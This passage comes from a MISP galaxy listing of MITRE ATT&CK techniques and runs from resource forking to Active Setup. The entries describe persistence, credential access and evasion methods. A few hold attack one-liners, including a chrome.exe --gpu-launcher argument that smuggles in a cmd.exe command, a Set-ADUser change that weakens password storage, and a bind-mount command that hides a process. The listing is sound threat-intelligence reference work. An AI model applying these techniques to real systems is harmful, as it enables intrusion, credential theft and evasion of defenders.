Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file's extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)

Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009"*

Table 8808. Table References

Links
http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553
https://attack.mitre.org/techniques/T1564/009
https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html
https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/
https://flylib.com/books/en/4.395.1.192/1/
https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/

LSASS Driver - T1547.008

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"*

Table 8809. Table References

Links
https://attack.mitre.org/techniques/T1547/008
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx

Shortcut Modification - T1547.009

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176/001)) to persistently launch malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009"*

Table 8810. Table References

Links
https://attack.mitre.org/techniques/T1547/009
https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence
https://www.youtube.com/watch?v=nJ0UsyiUEqQ

Digital Certificates - T1588.004

Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain

validation certificates, for free.(Citation: Let's Encrypt FAQ)

After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004"*

Table 8811. Table References

Links
https://attack.mitre.org/techniques/T1588/004
https://letsencrypt.org/docs/faq/
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
https://www.recordedfuture.com/research/cobalt-strike-servers
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Network Devices - T1584.008

Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting.

Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.

Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Devices - T1584.008"*

Table 8812. Table References

Links
https://attack.mitre.org/techniques/T1584/008

https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/

Spearphishing Voice - T1598.004

Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or "vishing"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)

Victims may also receive phishing messages that direct them to call a phone number ("callback phishing") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1598.004"*

Table 8813. Table References

Links
https://attack.mitre.org/techniques/T1598/004
https://business.bofa.com/en-us/content/what-is-vishing.html
https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing

Password Managers - T1555.005

Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise

Password Manager February 2019)

Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005"*

Table 8814. Table References

Links
https://attack.mitre.org/techniques/T1555/005
https://github.com/GhostPack/KeeThief
https://nvd.nist.gov/vuln/detail/CVE-2019-3610
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf
https://www.ise.io/casestudies/password-manager-hacking/

Reversible Encryption - T1556.005

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005"*

Table 8815. Table References

Links
http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html
http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html
https://adsecurity.org/?p=2053
https://attack.mitre.org/techniques/T1556/005
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption

Ccache Files - T1558.005

Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials.

The <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)

Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)

The tag is: *misp-galaxy:mitre-attack-pattern="Ccache Files - T1558.005"*

Table 8816. Table References

Links
https://adepts.of0x.cc/kerberos-thievery-linux/
https://attack.mitre.org/techniques/T1558/005
https://github.com/gentilkiwi/kekeo
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f
https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/
https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html

Hybrid Identity - T1556.007

Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):

- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users' identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)

The tag is: *misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007"*

Table 8817. Table References

Links
https://attack.mitre.org/techniques/T1556/007
https://blog.xpnsec.com/azuread-connect-for-redteam/
https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn
https://o365blog.com/post/on-prem_admin/
https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors
https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/

Scan Databases - T1596.005

Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Scan Databases - T1596.005"*

Table 8818. Table References

Links
https://attack.mitre.org/techniques/T1596/005
https://shodan.io

Artificial Intelligence - T1588.007

Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)

For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](Phishing for Information (https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)

The tag is: *misp-galaxy:mitre-attack-pattern="Artificial Intelligence - T1588.007"*

Table 8819. Table References

Links
https://attack.mitre.org/techniques/T1588/007
https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks
https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/
https://www.ic3.gov/PSA/2024/PSA241203
https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/
https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402

Electron Applications - T1218.015

Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)

Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of

`teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8)

Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)

The tag is: *misp-galaxy:mitre-attack-pattern="Electron Applications - T1218.015"*

Table 8820. Table References

Links
https://attack.mitre.org/techniques/T1218/015
https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf
https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf
https://www.kaspersky.com/blog/electron-framework-security-issues/49035/
https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/

Application Shimming - T1546.011

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code> and
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and

- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011"*

Table 8821. Table References

Links
http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
https://attack.mitre.org/techniques/T1546/011
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Plist Modification - T1547.011

Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011"*

Table 8822. Table References

Links
https://attack.mitre.org/techniques/T1547/011
https://fileinfo.com/extension/plist
https://taomm.org/vol1/pdfs.html

Print Processors - T1547.012

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code> Registry key that points to the DLL.

For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012"*

Table 8823. Table References

Links
https://attack.mitre.org/techniques/T1547/012
https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

Bind Mounts - T1564.013

Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.

Adversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process's `/proc` directory. Using the commands `mount -o bind /proc/benign-process /proc/malicious-process` (or `mount -B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory's contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.(Citation: Cado Security Commando Cat 2024)(Citation: Ahn Lab CoinMiner 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Bind Mounts - T1564.013"*

Table 8824. Table References

Links
https://asec.ahnlab.com/en/51908/
https://attack.mitre.org/techniques/T1564/013
https://www.cadosecurity.com/blog/the-nine-lives-of-commando-cat-analysing-a-novel-malware-campaign-targeting-docker

PowerShell Profile - T1546.013

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.

[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013"*

Table 8825. Table References

Links

http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://attack.mitre.org/techniques/T1546/013
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Extended Attributes - T1564.014

Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)

An adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Extended Attributes - T1564.014"*

Table 8826. Table References

Links
https://attack.mitre.org/techniques/T1564/014
https://kernal.eu/posts/linux-xattr-persistence/
https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/

Active Setup - T1547.014

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs

in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014"*

Table 8827. Table References

Links
https://attack.mitre.org/techniques/T1547/014
https://citizenlab.ca/2015/12/packrat-report/
https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
https://helgeklein.com/blog/2010/04/active-setup-explained/
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html

Login Items - T1547.015

